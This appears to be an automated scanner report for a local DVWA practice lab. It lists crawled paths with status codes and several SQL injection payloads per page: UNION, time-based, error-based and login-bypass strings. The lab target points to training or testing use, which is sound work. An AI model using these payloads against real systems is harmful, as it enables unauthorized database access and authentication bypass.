Cheatsheet for http://127.0.0.1/DVWA/

OSINT Information

No OSINT info available

AI Powered Summary

'DVWA is a PHP/MySQL web application that is damn vulnerable.\n'

Found Social Media Links

No Social Media info available

Found Emails

No Email Addresses available

Suspected file types

'.php', '.html', '.aspx', '.js', '.jsp'

Found Paths Method: GET

1	http://127.0.0.1/DVWA/index.php -> 200 -> SQLi Suggestions:

✔	×	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))#
✔	×	admin" or 1=1--
✔	×	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
✔	×	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
✔	×	UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL--

2	http://127.0.0.1/DVWA/about.php -> 200 -> SQLi Suggestions:

✔	×	WHERE 1=1 AND 1=1#

✔	✗	UNION ALL SELECT NULL
✔	✗	AS INJECTX WHERE 1=1 AND 1=1#
✔	✗	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7#
✔	✗	ORDER BY 24--
3		**http://127.0.0.1/DVWA/login.php -> 200 -> SQLi Suggestions:**
✔	✗	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12#
✔	✗	ORDER BY 9#
✔	✗	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
✔	✗	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11
✔	✗	" or ""-"
4		**http://127.0.0.1/DVWA/security.php -> 200 -> SQLi Suggestions:**
✔	✗	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
✔	✗	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
✔	✗	')) or pg_sleep(5)--
✔	✗	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11#
✔	✗	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14--
5		**http://127.0.0.1/DVWA/docs/ -> 200 -> SQLi Suggestions:**
✔	✗	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
✔	✗	' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
✔	✗	pg_SLEEP(5)--
✔	✗	ORDER BY 14--
✔	✗	UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL--
6		**http://127.0.0.1/DVWA/docs -> 200 -> SQLi Suggestions:**
✔	✗	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
✔	✗	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13--

✔	✗	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
✔	✗	1) or benchmark(10000000,MD5(1))#
✔	✗	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#

7 http://127.0.0.1/DVWA/Security.php -> 200 -> SQLi Suggestions:

✔	✗	' UNION SELECT sum(columnname) from tablename --
✔	✗	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))--
✔	✗	" "
✔	✗	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))#
✔	✗	ORDER BY 25#

8 http://127.0.0.1/DVWA/About.php -> 200 -> SQLi Suggestions:

✔	✗	1 or pg_sleep(5)--
✔	✗	ORDER BY SLEEP(5)--
✔	✗	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5--
✔	✗	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
✔	✗	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#

9 http://127.0.0.1/DVWA/Index.php -> 200 -> SQLi Suggestions:

✔	✗	UNION SELECT @@VERSION,SLEEP(5),3
✔	✗	1' ORDER BY 1,2--+
✔	✗	ORDER BY 4#
✔	✗	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13

✔	✗	" or sleep(5)="
10		http://127.0.0.1/DVWA/Login.php -> 200 -> SQLi Suggestions:
✔	✗	HAVING 1=1#
✔	✗	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14#
✔	✗	``
✔	✗	AND 7300=7300 AND ('pKlZ'='pKlZ
✔	✗	admin"/*
11		http://127.0.0.1/DVWA/external/ -> 200 -> SQLi Suggestions:
✔	✗	UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
✔	✗	ORDER BY SLEEP(5)--
✔	✗	ORDER BY 31337--
✔	✗	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7
✔	✗	UNION ALL SELECT 1,2,3,4,5,6,7#
12		http://127.0.0.1/DVWA/external -> 200 -> SQLi Suggestions:
✔	✗	AND 1=0--
✔	✗	ORDER BY 16#
✔	✗	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)+CHAR(80)+CHAR(75)))#
✔	✗	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9#
✔	✗	admin') or ('1'='1'#
13		http://127.0.0.1/DVWA/logout.php -> 200 -> SQLi Suggestions:

✔	✕	"*"
✔	✕	UNION ALL SELECT 1,2,3,4,5#
✔	✕	ORDER BY 20
✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17#
✔	✕	'='

14 http://127.0.0.1/DVWA/config/ -> 200 -> SQLi Suggestions:

✔	✕	')) or benchmark(10000000,MD5(1))#
✔	✕	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
✔	✕	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
✔	✕	AS INJECTX WHERE 1=1 AND 1=1
✔	✕	admin'or 1=1 or ''='

15 http://127.0.0.1/DVWA/config -> 200 -> SQLi Suggestions:

✔	✕	ORDER BY 6--
✔	✕	OR x=x#
✔	✕	;waitfor delay '0:0:5'--
✔	✕	UNION ALL SELECT 1,2,3,4#
✔	✕	or SLEEP(5)--

16 http://127.0.0.1/DVWA/setup.php -> 200 -> SQLi Suggestions:

✔	✕	UNION ALL SELECT 1,2,3,4,5
✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17#
✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
✔	✕	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
✔	✕	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30

17 http://127.0.0.1/DVWA/Docs/ -> 200 -> SQLi Suggestions:

✔	✕	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

✔	✕	
✔	✕	';waitfor delay '0:0:5'--
✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
✔	✕	or SLEEP(5)#
✔	✕	UNION ALL SELECT 1,2,3,4,5,6

18 http://127.0.0.1/DVWA/Docs -> 200 -> SQLi Suggestions:

✔	✕	
✔	✕	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10#
✔	✕	UNION SELECT @@VERSION,SLEEP(5),USER(),4#
✔	✕	admin" or "1"="1"/*
✔	✕	ORDER BY 29
✔	✕	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))#

19 http://127.0.0.1/DVWA/vulnerabilities/ -> 200 -> SQLi Suggestions:

✔	✕	
✔	✕	ORDER BY 1,SLEEP(5),3--
✔	✕	ORDER BY 16--
✔	✕	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15#
✔	✕	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
✔	✕	HAVING 1=1#

20 http://127.0.0.1/DVWA/vulnerabilities -> 200 -> SQLi Suggestions:

✔	✕	
✔	✕	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))

✔	✕	' or sleep(5)='
✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12--
✔	✕	admin' or 1=1--

21	http://127.0.0.1/DVWA/%20/ -> 403
22	http://127.0.0.1/DVWA/%20 -> 403
23	http://127.0.0.1/DVWA/INDEX.php -> 200 -> SQLi Suggestions:

✔	✕	UNION ALL SELECT 'INJ'||'ECT'||'XXX'#
✔	✕	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8--
✔	✕	sleep(5)#
✔	✕	UNION ALL SELECT 1,2,3#
✔	✕	AS INJECTX WHERE 1=1 AND 1=0#

24	http://127.0.0.1/DVWA/instructions.php -> 200 -> SQLi Suggestions:

✔	✕	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9
✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
✔	✕	")) or benchmark(10000000,MD5(1))#
✔	✕	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))--
✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11#

25	http://127.0.0.1/DVWA/*checkout*.php -> 403
26	http://127.0.0.1/DVWA/*checkout*.jsp -> 403
27	http://127.0.0.1/DVWA/*checkout*.aspx -> 403
28	http://127.0.0.1/DVWA/*checkout*.html -> 403
29	http://127.0.0.1/DVWA/*checkout*.js -> 403
30	http://127.0.0.1/DVWA/*checkout* -> 403
31	http://127.0.0.1/DVWA/*checkout*/ -> 403
32	http://127.0.0.1/DVWA/SECURITY.php -> 200 -> SQLi Suggestions:

✔	✕	UNION ALL SELECT 1,2,3,4,5,6,7#

✔	✕	));waitfor delay '0:0:5'--
✔	✕	' OR '1
✔	✕	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))
✔	✕	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10--

33 http://127.0.0.1/DVWA/Setup.php -> 200 -> SQLi Suggestions:

✔	✕	or SLEEP(5)
✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
✔	✕	UNION SELECT @@VERSION,SLEEP(5),3
✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
✔	✕	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11#

34 http://127.0.0.1/DVWA/Logout.php -> 200 -> SQLi Suggestions:

✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14--
✔	✕	OR x=y--
✔	✕	') or true--
✔	✕	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
✔	✕	AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)

35 http://127.0.0.1/DVWA/Config/ -> 200 -> SQLi Suggestions:

✔	✕	UNION ALL SELECT 1,2,3,4,5,6,7,8,9--
✔	✕	HAVING 1=0#
✔	✕	waitfor delay '00:00:05'
✔	✕	or 1=1

✔	✕	' or sleep(5)='

36	http://127.0.0.1/DVWA/Config -> 200 -> SQLi Suggestions:

✔	✕	UNION ALL SELECT 1,2,3--
✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11
✔	✕	ORDER BY 1
✔	✕	benchmark(50000000,MD5(1))--
✔	✕	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22

37	http://127.0.0.1/DVWA/*docroot*.php -> 403
38	http://127.0.0.1/DVWA/*docroot*.aspx -> 403
39	http://127.0.0.1/DVWA/*docroot*.jsp -> 403
40	http://127.0.0.1/DVWA/*docroot*.html -> 403
41	http://127.0.0.1/DVWA/*docroot*.js -> 403
42	http://127.0.0.1/DVWA/*docroot* -> 403
43	http://127.0.0.1/DVWA/*docroot*/ -> 403
44	http://127.0.0.1/DVWA/*.php -> 403
45	http://127.0.0.1/DVWA/*.aspx -> 403
46	http://127.0.0.1/DVWA/*.jsp -> 403
47	http://127.0.0.1/DVWA/*.html -> 403
48	http://127.0.0.1/DVWA/*.js -> 403
49	http://127.0.0.1/DVWA/* -> 403
50	http://127.0.0.1/DVWA/*/ -> 403
51	http://127.0.0.1/DVWA/con.php -> 403
52	http://127.0.0.1/DVWA/con.aspx -> 403
53	http://127.0.0.1/DVWA/con.html -> 403
54	http://127.0.0.1/DVWA/con.jsp -> 403
55	http://127.0.0.1/DVWA/con.js -> 403

56		http://127.0.0.1/DVWA/con -> 403
57		http://127.0.0.1/DVWA/con/ -> 403
58		http://127.0.0.1/DVWA/External/ -> 200 -> SQLi Suggestions:
✔	✕	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))#
✔	✕	ORDER BY 10
✔	✕	1 or benchmark(10000000,MD5(1))#
✔	✕	')) or (('x'))=(('x
✔	✕	ORDER BY 20
59		http://127.0.0.1/DVWA/External -> 200 -> SQLi Suggestions:
✔	✕	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
✔	✕	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
✔	✕	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))
✔	✕	admin') or ('1'='1'#
✔	✕	AND 1=1
60		http://127.0.0.1/DVWA/DOCS/ -> 200 -> SQLi Suggestions:
✔	✕	OR 1=1--
✔	✕	' OR 1 -- -
✔	✕	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12--
✔	✕	UNION ALL SELECT

		'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
✔	×	ORDER BY 1#
61		http://127.0.0.1/DVWA/DOCS -> 200 -> SQLi Suggestions:
✔	×	UNION ALL SELECT 1,2,3,4,5--
✔	×	WHERE 1=1 AND 1=0#
✔	×	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8#
✔	×	1*56
✔	×	ORDER BY 25
62		http://127.0.0.1/DVWA/http%3A.php -> 403
63		http://127.0.0.1/DVWA/http%3A.aspx -> 403
64		http://127.0.0.1/DVWA/http%3A.jsp -> 403
65		http://127.0.0.1/DVWA/http%3A.html -> 403
66		http://127.0.0.1/DVWA/http%3A.js -> 403
67		http://127.0.0.1/DVWA/http%3A -> 403
68		http://127.0.0.1/DVWA/http%3A/ -> 403
69		http://127.0.0.1/DVWA/**http%3a.php -> 403
70		http://127.0.0.1/DVWA/**http%3a.aspx -> 403
71		http://127.0.0.1/DVWA/**http%3a.jsp -> 403
72		http://127.0.0.1/DVWA/**http%3a.html -> 403
73		http://127.0.0.1/DVWA/**http%3a.js -> 403
74		http://127.0.0.1/DVWA/**http%3a -> 403
75		http://127.0.0.1/DVWA/**http%3a/ -> 403
76		http://127.0.0.1/DVWA/aux.aspx -> 403
77		http://127.0.0.1/DVWA/aux.jsp -> 403
78		http://127.0.0.1/DVWA/aux.html -> 403
79		http://127.0.0.1/DVWA/aux.js -> 403

80	http://127.0.0.1/DVWA/aux -> 403

81	http://127.0.0.1/DVWA/aux/ -> 403

82	http://127.0.0.1/DVWA/aux.php -> 403

83	http://127.0.0.1/DVWA/EXTERNAL/ -> 200 -> SQLi Suggestions:

✔	×	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4
✔	×	AND 0
✔	×	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
✔	×	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
✔	×	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11--

84	http://127.0.0.1/DVWA/EXTERNAL -> 200 -> SQLi Suggestions:

✔	×	UNION ALL SELECT 1,2,3,4,5#
✔	×	' or 'x'='x
✔	×	";waitfor delay '0:0:5'--
✔	×	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))
✔	×	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

85	http://127.0.0.1/DVWA/*http%3A.php -> 403

86	http://127.0.0.1/DVWA/*http%3A.aspx -> 403

87	http://127.0.0.1/DVWA/*http%3A.jsp -> 403

88	http://127.0.0.1/DVWA/*http%3A.js -> 403

89	http://127.0.0.1/DVWA/*http%3A.html -> 403

90	http://127.0.0.1/DVWA/*http%3A -> 403

91	http://127.0.0.1/DVWA/*http%3A/ -> 403		
92	http://127.0.0.1/DVWA/ABOUT.php -> 200 -> SQLi Suggestions:		
✔	✗		AS INJECTX WHERE 1=1 AND 1=0--
✔	✗		benchmark(50000000,MD5(1))--
✔	✗		UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10
✔	✗		ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
✔	✗		ORDER BY 5
93	http://127.0.0.1/DVWA/**http%3A.php -> 403		
94	http://127.0.0.1/DVWA/**http%3A.aspx -> 403		
95	http://127.0.0.1/DVWA/**http%3A.jsp -> 403		
96	http://127.0.0.1/DVWA/**http%3A.html -> 403		
97	http://127.0.0.1/DVWA/**http%3A.js -> 403		
98	http://127.0.0.1/DVWA/**http%3A -> 403		
99	http://127.0.0.1/DVWA/**http%3A/ -> 403		
100	http://127.0.0.1/DVWA/%C0.php -> 403		
101	http://127.0.0.1/DVWA/%C0.aspx -> 403		
102	http://127.0.0.1/DVWA/%C0.jsp -> 403		
103	http://127.0.0.1/DVWA/%C0.html -> 403		
104	http://127.0.0.1/DVWA/%C0.js -> 403		
105	http://127.0.0.1/DVWA/%C0 -> 403		
106	http://127.0.0.1/DVWA/%C0/ -> 403		
107	http://127.0.0.1/DVWA/Vulnerabilities/ -> 200 -> SQLi Suggestions:		
✔	✗		1-false
✔	✗		UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6#
✔	✗		UNION ALL SELECT 1,2,3,4,5,6,7,8,9--
✔	✗		UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

✔	✗	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))

108 http://127.0.0.1/DVWA/Vulnerabilities -> 200 -> SQLi Suggestions:

✔	✗	UNION ALL SELECT 1,2,3,4,5--
✔	✗	SLEEP(5)='
✔	✗	AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
✔	✗	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13--
✔	✗	UNION SELECT

@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18

109 http://127.0.0.1/DVWA/phpinfo.php -> 200 -> SQLi Suggestions:

✔	✗	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
✔	✗	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6#
✔	✗	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
✔	✗	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10
✔	✗	AND 5650=CONVERT(INT,(UNION ALL

SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12

0)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))--